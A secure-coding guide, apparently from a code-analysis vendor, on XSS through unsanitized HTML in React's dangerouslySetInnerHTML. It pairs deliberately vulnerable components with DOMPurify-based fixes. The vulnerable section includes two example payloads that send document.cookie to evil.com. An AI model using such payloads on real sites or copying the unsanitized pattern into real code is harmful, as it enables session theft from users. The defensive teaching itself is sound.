Cross-site scripting (XSS) via non-constant HTML in React dangerouslySetInnerHTML

High Risk Cross-Site Scripting
reacttypescriptjavascriptdangerouslysetinnerhtmljsx

What it is

XSS vulnerability in React applications where variable HTML strings are assigned to dangerouslySetInnerHTML without reliable sanitization, allowing attacker-controlled markup or scripts to be injected into the rendered page.

// VULNERABLE: React component with unsanitized HTML
import React, { useState, useEffect } from 'react';

interface Message {
  id: number;
  sender: string;
  content: string;
  timestamp: Date;
}

interface ForumPost {
  id: number;
  title: string;
  body: string;
  author: string;
  tags: string[];
}

// Vulnerable message display component
function MessageList({ messages }: { messages: Message[] }) {
  return (
    <div className="messages">
      {messages.map(message => (
        <div key={message.id} className="message">
          <div className="sender">{message.sender}</div>
          {/* VULNERABLE: User content directly in dangerouslySetInnerHTML */}
          <div
            className="content"
            dangerouslySetInnerHTML={{ __html: message.content }}
          />
          <div className="timestamp">{message.timestamp.toLocaleString()}</div>
        </div>
      ))}
    </div>
  );
}

// Vulnerable forum post component
function ForumPostView({ post }: { post: ForumPost }) {
  return (
    <article className="forum-post">
      <h2>{post.title}</h2>
      <div className="author">By: {post.author}</div>

      {/* VULNERABLE: Post body with potential XSS */}
      <div
        className="post-body"
        dangerouslySetInnerHTML={{ __html: post.body }}
      />

      <div className="tags">
        {post.tags.map(tag => (
          <span key={tag} className="tag">{tag}</span>
        ))}
      </div>
    </article>
  );
}

// Vulnerable rich text editor
function RichTextEditor() {
  const [content, setContent] = useState('');
  const [preview, setPreview] = useState('');

  const handleContentChange = (e: React.ChangeEvent<HTMLTextAreaElement>) => {
    const newContent = e.target.value;
    setContent(newContent);

    // VULNERABLE: Direct HTML preview without sanitization
    setPreview(newContent);
  };

  return (
    <div className="editor">
      <div className="editor-controls">
        <textarea
          value={content}
          onChange={handleContentChange}
          placeholder="Enter HTML content..."
          rows={10}
          cols={50}
        />
      </div>

      <div className="preview">
        <h3>Preview:</h3>
        {/* VULNERABLE: User input directly rendered as HTML */}
        <div dangerouslySetInnerHTML={{ __html: preview }} />
      </div>
    </div>
  );
}

// Vulnerable comment system with nested replies
function CommentThread({ comments }: { comments: any[] }) {
  const renderComment = (comment: any) => (
    <div key={comment.id} className="comment">
      <div className="comment-header">
        <strong>{comment.author}</strong>
        <span className="timestamp">{comment.timestamp}</span>
      </div>

      {/* VULNERABLE: Comment content with HTML */}
      <div
        className="comment-body"
        dangerouslySetInnerHTML={{ __html: comment.text }}
      />

      {comment.replies && (
        <div className="replies">
          {comment.replies.map(renderComment)}
        </div>
      )}
    </div>
  );

  return (
    <div className="comment-thread">
      {comments.map(renderComment)}
    </div>
  );
}

// Example of how this gets exploited:
const maliciousMessage: Message = {
  id: 1,
  sender: "Attacker",
  content: '<img src="x" onerror="alert(\'XSS Attack!\'); fetch(\'https://evil.com/steal\', {method: \'POST\', body: document.cookie});">',
  timestamp: new Date()
};

const maliciousPost: ForumPost = {
  id: 1,
  title: "Innocent Post",
  body: '<script>document.location="http://evil.com/phishing?cookie="+document.cookie</script>',
  author: "Hacker",
  tags: ["security"]
};
// SECURE: React component with proper sanitization
import React, { useState, useEffect, useMemo } from 'react';
import DOMPurify from 'dompurify';

interface Message {
  id: number;
  sender: string;
  content: string;
  timestamp: Date;
}

interface ForumPost {
  id: number;
  title: string;
  body: string;
  author: string;
  tags: string[];
}

// Safe message display component
function MessageList({ messages }: { messages: Message[] }) {
  return (
    <div className="messages">
      {messages.map(message => (
        <MessageItem key={message.id} message={message} />
      ))}
    </div>
  );
}

function MessageItem({ message }: { message: Message }) {
  // Option 1: Render as plain text (safest)
  const renderAsText = () => (
    <div className="message">
      <div className="sender">{message.sender}</div>
      <div className="content">{message.content}</div>
      <div className="timestamp">{message.timestamp.toLocaleString()}</div>
    </div>
  );

  // Option 2: Allow basic formatting with sanitization
  const sanitizedContent = useMemo(() => {
    return DOMPurify.sanitize(message.content, {
      ALLOWED_TAGS: ['p', 'br', 'strong', 'em'],
      ALLOWED_ATTR: [],
      KEEP_CONTENT: false
    });
  }, [message.content]);

  return (
    <div className="message">
      <div className="sender">{message.sender}</div>
      <div
        className="content"
        dangerouslySetInnerHTML={{ __html: sanitizedContent }}
      />
      <div className="timestamp">{message.timestamp.toLocaleString()}</div>
    </div>
  );
}

// Safe forum post component
function ForumPostView({ post }: { post: ForumPost }) {
  const sanitizedBody = useMemo(() => {
    return DOMPurify.sanitize(post.body, {
      ALLOWED_TAGS: [
        'p', 'br', 'strong', 'em', 'ul', 'ol', 'li',
        'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
        'blockquote', 'code', 'pre', 'a'
      ],
      ALLOWED_ATTR: {
        'a': ['href', 'title'],
        'blockquote': ['cite']
      },
      ALLOW_DATA_ATTR: false,
      // Additional security configurations
      ADD_TAGS: [],
      ADD_ATTR: [],
      FORBID_TAGS: ['script', 'object', 'embed', 'iframe'],
      FORBID_ATTR: ['onclick', 'onload', 'onerror']
    });
  }, [post.body]);

  return (
    <article className="forum-post">
      <h2>{post.title}</h2>
      <div className="author">By: {post.author}</div>

      <div
        className="post-body"
        dangerouslySetInnerHTML={{ __html: sanitizedBody }}
      />

      <div className="tags">
        {post.tags.map(tag => (
          <span key={tag} className="tag">{tag}</span>
        ))}
      </div>
    </article>
  );
}

// Safe rich text editor with live sanitization
function RichTextEditor() {
  const [content, setContent] = useState('');

  const handleContentChange = (e: React.ChangeEvent<HTMLTextAreaElement>) => {
    setContent(e.target.value);
  };

  // Sanitize content for preview
  const sanitizedPreview = useMemo(() => {
    return DOMPurify.sanitize(content, {
      ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'ul', 'ol', 'li', 'h1', 'h2', 'h3'],
      ALLOWED_ATTR: [],
      KEEP_CONTENT: false
    });
  }, [content]);

  return (
    <div className="editor">
      <div className="editor-controls">
        <textarea
          value={content}
          onChange={handleContentChange}
          placeholder="Enter content with basic HTML tags..."
          rows={10}
          cols={50}
        />
        <div className="allowed-tags">
          <small>Allowed tags: p, br, strong, em, ul, ol, li, h1, h2, h3</small>
        </div>
      </div>

      <div className="preview">
        <h3>Preview:</h3>
        <div
          className="preview-content"
          dangerouslySetInnerHTML={{ __html: sanitizedPreview }}
        />
      </div>
    </div>
  );
}

// Safe comment system with text-only approach
function CommentThread({ comments }: { comments: any[] }) {
  const formatText = (text: string) => {
    // Convert newlines to paragraphs safely
    return text.split('\n').filter(line => line.trim()).map((line, index) => (
      <p key={index}>{line}</p>
    ));
  };

  const renderComment = (comment: any) => (
    <div key={comment.id} className="comment">
      <div className="comment-header">
        <strong>{comment.author}</strong>
        <span className="timestamp">{comment.timestamp}</span>
      </div>

      <div className="comment-body">
        {formatText(comment.text)}
      </div>

      {comment.replies && (
        <div className="replies">
          {comment.replies.map(renderComment)}
        </div>
      )}
    </div>
  );

  return (
    <div className="comment-thread">
      {comments.map(renderComment)}
    </div>
  );
}

// Alternative: Markdown-based approach for rich content
import { marked } from 'marked';

function MarkdownPost({ markdown }: { markdown: string }) {
  const sanitizedHTML = useMemo(() => {
    // Convert markdown to HTML, then sanitize
    const rawHTML = marked(markdown);
    return DOMPurify.sanitize(rawHTML, {
      ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'ul', 'ol', 'li', 'h1', 'h2', 'h3', 'code', 'pre', 'blockquote'],
      ALLOWED_ATTR: [],
      KEEP_CONTENT: false
    });
  }, [markdown]);

  return (
    <div
      className="markdown-content"
      dangerouslySetInnerHTML={{ __html: sanitizedHTML }}
    />
  );
}

// Custom hook for safe HTML rendering
function useSafeHTML(htmlContent: string, allowedTags: string[] = []) {
  return useMemo(() => {
    return DOMPurify.sanitize(htmlContent, {
      ALLOWED_TAGS: allowedTags.length > 0 ? allowedTags : ['p', 'br', 'strong', 'em'],
      ALLOWED_ATTR: [],
      KEEP_CONTENT: false
    });
  }, [htmlContent, allowedTags]);
}

💡 Why This Fix Works

The vulnerable code directly passes user content to dangerouslySetInnerHTML without sanitization, allowing XSS attacks through malicious HTML/JavaScript. The fixed version uses DOMPurify to sanitize HTML content, validates allowed tags and attributes, and provides alternatives like plain text rendering and Markdown for safer rich content.

Why it happens

User-provided content from props, state, or API responses is directly passed to dangerouslySetInnerHTML without sanitization.

Root causes

User Input in dangerouslySetInnerHTML

User-provided content from props, state, or API responses is directly passed to dangerouslySetInnerHTML without sanitization.

Preview example – TYPESCRIPT
// VULNERABLE: User input in dangerouslySetInnerHTML
interface BlogPostProps {
  content: string;
  author: string;
}

function BlogPost({ content, author }: BlogPostProps) {
  // Direct user content without sanitization
  return (
    <div>
      <h2>Post by {author}</h2>
      <div dangerouslySetInnerHTML={{ __html: content }} />
    </div>
  );
}

// Comment component with user-generated content
function Comment({ text, userName }: { text: string; userName: string }) {
  // Vulnerable: User comment directly rendered as HTML
  return (
    <div className="comment">
      <strong>{userName}:</strong>
      <div dangerouslySetInnerHTML={{ __html: text }} />
    </div>
  );
}

API Response Data in dangerouslySetInnerHTML

HTML content from external APIs or databases is rendered without validation, assuming it is safe.

Preview example – TYPESCRIPT
// VULNERABLE: API data in dangerouslySetInnerHTML
interface Article {
  id: number;
  title: string;
  body: string;
  summary: string;
}

function ArticleView({ article }: { article: Article }) {
  return (
    <article>
      <h1>{article.title}</h1>
      {/* Vulnerable: API content assumed to be safe */}
      <div dangerouslySetInnerHTML={{ __html: article.body }} />
      <div dangerouslySetInnerHTML={{ __html: article.summary }} />
    </article>
  );
}

// Rich text editor content
function RichTextDisplay({ htmlContent }: { htmlContent: string }) {
  // Vulnerable: Rich text content not sanitized
  return <div dangerouslySetInnerHTML={{ __html: htmlContent }} />;
}

Fixes

1

Use React Safe Rendering Methods

Avoid dangerouslySetInnerHTML when possible. Let React handle escaping by using normal JSX text rendering.

View implementation – TYPESCRIPT
// SECURE: Use React safe rendering
interface BlogPostProps {
  content: string;
  author: string;
}

function BlogPost({ content, author }: BlogPostProps) {
  // Safe: React automatically escapes text content
  return (
    <div>
      <h2>Post by {author}</h2>
      <div className="content">
        {/* React escapes this automatically */}
        {content}
      </div>
    </div>
  );
}

// For basic formatting, use CSS and safe text
function Comment({ text, userName }: { text: string; userName: string }) {
  // Process text safely for basic formatting
  const formatText = (text: string) => {
    return text.split('\n').map((line, index) => (
      <p key={index}>{line}</p>
    ));
  };

  return (
    <div className="comment">
      <strong>{userName}:</strong>
      <div className="comment-text">
        {formatText(text)}
      </div>
    </div>
  );
}
2

Use DOMPurify for HTML Sanitization

When HTML rendering is required, sanitize content with a trusted library like DOMPurify before using dangerouslySetInnerHTML.

View implementation – TYPESCRIPT
// SECURE: HTML sanitization with DOMPurify
import DOMPurify from 'dompurify';

interface ArticleProps {
  title: string;
  htmlContent: string;
}

function SanitizedArticle({ title, htmlContent }: ArticleProps) {
  // Sanitize HTML content before rendering
  const sanitizedHTML = DOMPurify.sanitize(htmlContent, {
    // Configure allowed tags and attributes
    ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'ul', 'ol', 'li', 'h1', 'h2', 'h3', 'a'],
    ALLOWED_ATTR: ['href', 'title'],
    ALLOW_DATA_ATTR: false
  });

  return (
    <article>
      <h1>{title}</h1>
      <div
        className="content"
        dangerouslySetInnerHTML={{ __html: sanitizedHTML }}
      />
    </article>
  );
}

// Custom hook for safe HTML rendering
function useSanitizedHTML(htmlContent: string) {
  const sanitized = useMemo(() => {
    return DOMPurify.sanitize(htmlContent, {
      ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'ul', 'ol', 'li'],
      ALLOWED_ATTR: [],
      KEEP_CONTENT: false
    });
  }, [htmlContent]);

  return sanitized;
}

function SafeHTMLComponent({ content }: { content: string }) {
  const sanitizedContent = useSanitizedHTML(content);

  return (
    <div dangerouslySetInnerHTML={{ __html: sanitizedContent }} />
  );
}

Detect This Vulnerability in Your Code

Sourcery automatically identifies cross-site scripting (xss) via non-constant html in react dangerouslysetinnerhtml and many other security issues in your codebase.